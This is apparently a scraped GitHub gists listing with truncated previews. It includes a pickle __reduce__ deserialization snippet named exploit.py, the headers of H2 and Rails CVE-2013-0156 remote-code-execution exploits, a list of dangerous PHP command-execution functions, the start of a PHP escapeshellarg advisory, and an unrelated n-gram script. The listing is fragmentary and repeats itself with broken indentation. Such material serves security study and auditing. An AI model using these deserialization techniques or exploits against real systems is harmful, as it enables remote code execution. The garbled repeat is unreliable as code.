ElainaDay 1dayluo

## exploit.py
import pickle
import base64

class RCE(object):
    def __reduce__(self):
        return (globals, () )

class RCEStr(object):
    def __reduce__(self):
        return (str, (RCE(), ) )

## extract-gbooks-terms.py
# extraction pattern: ngram TAB year TAB match_count TAB volume_count NEWLINE
# out: unique_ngram TAB sum(match_count) NEWLINE

import re
import os, sys, mmap
from pathlib import Path
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor

abv = re.compile(r'^(([A-Z]\.){1,})(_|[^\w])')  # A.B.C.

## List of API endpoints & objects
0
00
01
02
03
1
1.0
10
100
1000

## h2-exploit.py
#!/usr/bin/env python


'''
Exploit Title: Unauthenticated RCE
Date: 2018/09/24
Exploit Author: h4ckNinja
Vendor: http://www.h2database.com/
Version: all versions
Tested on: Linux, Mac

## phpdangerousfuncs.md

      
              1 file
            
          
              58 forks
            
          
              1 comment
            
          
              147 stars
            
          
                mccabe615
                / phpdangerousfuncs.md
            
            
              Last active
              April 21, 2024 17:04
            
              
                Dangerous PHP Functions
              
          
    Command Execution

exec           - Returns last line of commands output
passthru       - Passes commands output directly to the browser
system         - Passes commands output directly to the browser and returns last line
shell_exec     - Returns commands output
\`\` (backticks) - Same as shell_exec()
popen          - Opens read or write pipe to process of a command
proc_open      - Similar to popen() but greater degree of control
pcntl_exec - Executes a program


## escapeshellrce.md

      
              2 files
            
          
              10 forks
            
          
              15 comments
            
          
              46 stars
            
          
                Zenexer
                / escapeshellrce.md
            
            
              Last active
              November 2, 2023 06:09
            
              
                Security Advisory: PHP's escapeshellcmd and escapeshellarg are insecure
              
          
    Paul Buonopane paul@namepros.com at NamePros

PGP: https://keybase.io/zenexer
I'm working on cleaning up this advisory so that it's more informative at a glance.  Suggestions are welcome.
This advisory addresses the underlying PHP vulnerabilities behind Dawid Golunski's [CVE-2016-10033][CVE-2016-10033], [CVE-2016-10045][CVE-2016-10045], and [CVE-2016-10074][CVE-2016-10074].  It assumes prior understanding of these vulnerabilities.
This advisory does not yet have associated CVE identifiers.
Summary


## rails_rce.rb
#!/usr/bin/env ruby
#
# Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)
#
# ## Advisory
#
#   https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
#
# ## Caveats
#
	import pickle
	import base64

	class RCE(object):
	def __reduce__(self):
	return (globals, () )

	class RCEStr(object):
	def __reduce__(self):
	return (str, (RCE(), ) )
	# extraction pattern: ngram TAB year TAB match_count TAB volume_count NEWLINE
	# out: unique_ngram TAB sum(match_count) NEWLINE

	import re
	import os, sys, mmap
	from pathlib import Path
	from tqdm import tqdm
	from concurrent.futures import ThreadPoolExecutor

	abv = re.compile(r'^(([A-Z]\.){1,})(_\|[^\w])') # A.B.C.
	#!/usr/bin/env python


	'''
	Exploit Title: Unauthenticated RCE
	Date: 2018/09/24
	Exploit Author: h4ckNinja
	Vendor: http://www.h2database.com/
	Version: all versions
	Tested on: Linux, Mac
	#!/usr/bin/env ruby
	#
	# Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)
	#
	# ## Advisory
	#
	# https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
	#
	# ## Caveats
	#